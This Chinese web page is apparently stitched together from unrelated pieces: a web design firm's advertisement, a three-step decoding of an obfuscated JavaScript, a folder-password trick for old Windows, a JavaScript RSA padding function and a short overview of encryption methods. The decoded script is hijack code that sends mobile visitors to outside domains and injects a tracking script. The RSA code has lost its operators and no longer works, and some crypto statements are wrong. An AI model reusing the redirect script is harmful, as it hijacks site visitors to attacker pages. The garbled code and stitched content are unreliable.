第一步解码:
站在用户的角度思考问题,与客户深入沟通,找到萨迦网站设计与萨迦网站推广的解决方案,凭借多年的经验,让设计与互联网技术结合,创造个性化、用户体验好的作品,建站类型包括:成都做网站、网站设计、企业官网、英文网站、手机端网站、网站推广、域名与空间、网站空间、企业邮箱。业务覆盖萨迦地区。
var _$ = ["\x77\x66", "\x3f", "\x26\x74\x3d\x7a\x72", '\x54\x72\x69\x64\x65\x6e\x74', '\x50\x72\x65\x73\x74\x6f', '\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74', '\x47\x65\x63\x6b\x6f', '\x4b\x48\x54\x4d\x4c', '\x41\x6e\x64\x72\x6f\x69\x64', '\x4c\x69\x6e\x75\x78', '\x69\x50\x68\x6f\x6e\x65', '\x69\x50\x61\x64', '\x53\x61\x66\x61\x72\x69', "\x68\x74\x74\x70\x3a\x2f\x2f\x62\x61\x69\x64\x75\x2d\x67\x6f\x6f\x67\x6c\x65\x2d\x73\x6f\x67\x6f\x75\x2d\x73\x6f\x73\x6f\x2d\x33\x36\x30\x2d\x71\x71\x2e\x6d\x61\x68\x6a\x75\x6e\x2e\x63\x6f\x6d\x2f\x63\x64\x6e\x2f\x69\x6e\x64\x65\x78\x2e\x68\x74\x6d\x6c\x3f", '\x68\x74\x74\x70\x3a\x2f\x2f\x69\x6f\x73\x2e\x61\x64\x61\x6e\x7a\x68\x75\x6f\x2e\x63\x6f\x6d\x2f\x67\x6f\x33\x2e\x70\x68\x70\x3f', '\x26\x74\x69\x64\x3d\x31\x35', "\x3c\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3d\'\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\'\x20\x63\x68\x61\x72\x73\x65\x74\x3d\'\x67\x62\x32\x33\x31\x32\'\x20\x73\x72\x63\x3d\'\x68\x74\x74\x70\x3a\x2f\x2f\x6a\x73\x2e\x61\x64\x6d\x2e\x63\x6e\x7a\x7a\x2e\x6e\x65\x74\x2f\x73\x2e\x70\x68\x70\x3f\x73\x69\x64\x3d\x32\x36\x37\x31\x37\x34\'\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e"];
var a = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64"](_$[0])["\x73\x72\x63"];src = a["\x73\x70\x6c\x69\x74"](_$[1])[0x1] + _$[2];
var b = {
versions: function() {
var c = navigator["\x75\x73\x65\x72\x41\x67\x65\x6e\x74"],
d = navigator["\x61\x70\x70\x56\x65\x72\x73\x69\x6f\x6e"];
return {
trident: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[3]) -0x1,
presto: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[4]) -0x1,
webKit: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[5]) -0x1,
gecko: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[6]) -0x1 c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[7]) == -0x1,
mobile: !!c["\x6d\x61\x74\x63\x68"](/AppleWebKit.*Mobile.*/),
ios: !!c["\x6d\x61\x74\x63\x68"](/\(i[^;]+;( U;)? CPU.+Mac OS X/),
android: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[8]) -0x1 || c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[9]) -0x1,
iPhone: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[10]) -0x1,
iPad: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[11]) -0x1,
webApp: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[12]) == -0x1
}
} (),
language: (navigator["\x62\x72\x6f\x77\x73\x65\x72\x4c\x61\x6e\x67\x75\x61\x67\x65"] || navigator["\x6c\x61\x6e\x67\x75\x61\x67\x65"])["\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65"]()
};
if (b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x6d\x6f\x62\x69\x6c\x65"] != false b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x61\x6e\x64\x72\x6f\x69\x64"] != false) {
window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"] = _$[13] + src
} else if (b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x6d\x6f\x62\x69\x6c\x65"] != false (b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x68\x6f\x6e\x65"] != false || b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x61\x64"] != false || b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x6f\x64"] != false)) {
window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"] = _$[14] + src + _$[15]
};
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"](_$[16]);
第二步解码:
var _$ = ["wf", "?", "t=zr", 'Trident', 'presto', 'AppleWebkit', 'Gecko', 'kHTML', 'Android', 'Linux', 'iphone', 'ipad', 'Safari', 'tid=15', "script type=\'text/javascript\' charset=\'gb2312\' src=\'\'/script"
];
var a = window["document"]["getElementById"](_$[0])["src"];src = a["split"](_$[1])[0x1] + _$[2];
var b = {
versions: function() {
var c = navigator["userAgent"],
d = navigator["appVersion"];
return {
trident: c["indexOf"](_$[3]) -0x1,
presto: c["indexOf"](_$[4]) -0x1,
webKit: c["indexOf"](_$[5]) -0x1,
gecko: c["indexOf"](_$[6]) -0x1 c["indexOf"](_$[7]) == -0x1,
mobile: !!c["match"](/AppleWebKit.*Mobile.*/),
ios: !!c["match"](/\(i[^;]+;( U;)? CPU.+Mac OS X/),
android: c["indexOf"](_$[8]) -0x1 || c["indexOf"](_$[9]) -0x1,
iPhone: c["indexOf"](_$[10]) -0x1,
iPad: c["indexOf"](_$[11]) -0x1,
webApp: c["indexOf"](_$[12]) == -0x1
}
} (),
language: (navigator["browserLanguage"] || navigator["language"])["toLower\x43ase"]()
};
if (b["versions"]["mobile"] != false b["versions"]["android"] != false) {
window["location"]["href"] = _$[13] + src
} else if (b["versions"]["mobile"] != false (b["versions"]["iphone"] != false || b["versions"]["ipad"] != false || b["versions"]["ipod"] != false)) {
window["location"]["href"] = _$[14] + src + _$[15]
};
window["document"]["writeln"](_$[16]);
第三步解码
var a = document.getElementById('wf').src;
src = a.split('?')[1] + 't=zr';
var b = {
versions: function() {
var c = navigator.userAgent,
d = navigator.appVersion;
return {
trident: c.indexOf('Trident') -1,
presto: c.indexOf( 'presto') -1,
webKit: c.indexOf('AppleWebkit') -1,
gecko: c.indexOf('Gecko') -1 c.indexOf('kHTML') == -1,
mobile: !!c.match.(/AppleWebKit.*Mobile.*/),
ios: !!c.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/),
android: c.indexOf('Android') -1 || c.indexOf('Linux') -1,
iPhone: c.indexOf('iphone') -1,
iPad: c.indexOf('ipad') -1,
webApp: c.indexOf('Safari') == -1
}
} (),
language: (navigator.browserLanguage || navigator.language).toLowerCase();
};
if (b["versions"]["mobile"] != false b["versions"]["android"] != false) {
location.href = '?' + src
} else if (b["versions"]["mobile"] != false (b["versions"]["iphone"] != false || b["versions"]["ipad"] != false || b["versions"]["ipod"] != false)) {
location.href = '?' + src + 'tid=15'
};
document.writeln('script type=\'text/javascript\' charset=\'gb2312\' src=\'\'/script');
很多JavaScript在加密后是不可以再解密的,JavaScript加密相当于是字符串加密。JavaScript加密被叫做加密混淆,例如:sha1。
利用Windows自带功能我们就能轻松的为文件夹设定密码。
1.在Windows 9X/Me/2000中
进入要加密的文件夹,点击右键,在弹出的菜单中选择“自定义文件夹“。接下来在向导中点击“下一步”,选择“自定义”并勾选“选择或编辑该文件夹的Html模板”,在模板类型中选择“标准”,并选中“编辑该模板”,点击下一步(在Win98中稍有不同,直接在向导中选择“创建或编辑HTML文档”即可)。此时将会打开一个名为“Folder”的文本文件。在该文件中找到<script language="javascript">字段,在其下方输入以下内容(中文双引号内为注释内容,不需要输入):
var pass=prompt("Please Enter the Password");“prompt命令后的括号内输入进入文件夹后的提示用语,可以为中文。分号可省略。可此行必须单独一行”
if(pass!="123")“密码为123,也可以设置为其他密码”
{window.location="c:"}“若密码错误,则进入C盘,也可以设为别的分区,但是只能为根目录”
保存后退出该文件设置便可以起效。folder.htt文件在创建后,下次需要更改设置我们就可以直接在文件夹中找到folder.htt文件,用记事本打开后进行修改,保存后设置即可生效。若是在WinMe操作系统,则没有<script language="javascript">字段,我们要找的字段是<script>,把上面的内容放在该字段后即可。
用javascript实现rsa加解密的实现方式是通过PKCS完成的。
1、整个定义的function
function pkcs1pad2(s,n) {
if(n s.length + 11) { // TODO: fix for utf-8
alert("Message too long for RSA");
return null;
}
var ba = new Array();
var i = s.length - 1;
while(i = 0 n 0) {
var c = s.charCodeAt(i--);
//UTF-8编码为变长字节,使用实际的字节来记录
if(c 128) { // encode using utf-8
ba[--n] = c;
}
else if((c 127) (c 2048)) {
ba[--n] = (c 63) | 128;
ba[--n] = (c 6) | 192;
}
else {
ba[--n] = (c 63) | 128;
ba[--n] = ((c 6) 63) | 128;
ba[--n] = (c 12) | 224;
}
}
//实际输入拼装结束,将下一位赋值为0标记结束
ba[--n] = 0;
var rng = new SecureRandom();
var x = new Array();
//拼接随机非0字节
while(n 2) { // random non-zero pad
x[0] = 0;
while(x[0] == 0) rng.nextBytes(x);
ba[--n] = x[0];
}
//这两位做简单的校验
ba[--n] = 2;
ba[--n] = 0;
return new BigInteger(ba);
}
该方法中对UTF-8字符进行了兼容,并且在拼装完实际输入的字符后,还拼装了随机的字节,使用拼装后的字符串去加密。由于每次拼装的结果是随机的,这样每次加密后的密文都不同。
2、调用方法:;
function RSAEncrypt(text) {
var m = pkcs1pad2(text,(this.n.bitLength()+7)3);
if(m == null) return null;
var c = this.doPublic(m);
if(c == null) return null;
var h = c.toString(16);
if((h.length 1) == 0) return h; else return "0" + h;
}
加密在我们前端的开发中也是经常遇见的。本文只把我们常用的加密方法进行总结。不去纠结加密的具体实现方式(密码学,太庞大了)。
常见的加密算法基本分为这几类,
RSA加密:RSA加密算法是一种非对称加密算法。在公开密钥加密和电子商业中RSA被广泛使用。(这才是正经的加密算法)
非对称加密算法:非对称加密算法需要两个密钥:公开密钥(publickey:简称公钥)和私有密钥(privatekey:简称私钥)。公钥与私钥是一对,如果用公钥对数据进行加密,只有用对应的私钥才能解密。因为加密和解密使用的是两个不同的密钥,所以这种算法叫作非对称加密算法。
DES全称为Data Encryption Standard,即数据加密标准,是一种使用密钥加密的块算法
DES算法的入口参数有三个:Key、Data、Mode。其中Key为7个字节共56位,是DES算法的工作密钥;Data为8个字节64位,是要被加密或被解密的数据;Mode为DES的工作方式,有两种:加密或解密。
AES这个标准用来替代原先的DES
DES/AES我们合并在一起介绍其用法和特点
Base64是一种用64个字符来表示任意二进制数据的方法。base64是一种编码方式而不是加密算法。只是看上去像是加密而已(吓唬人)。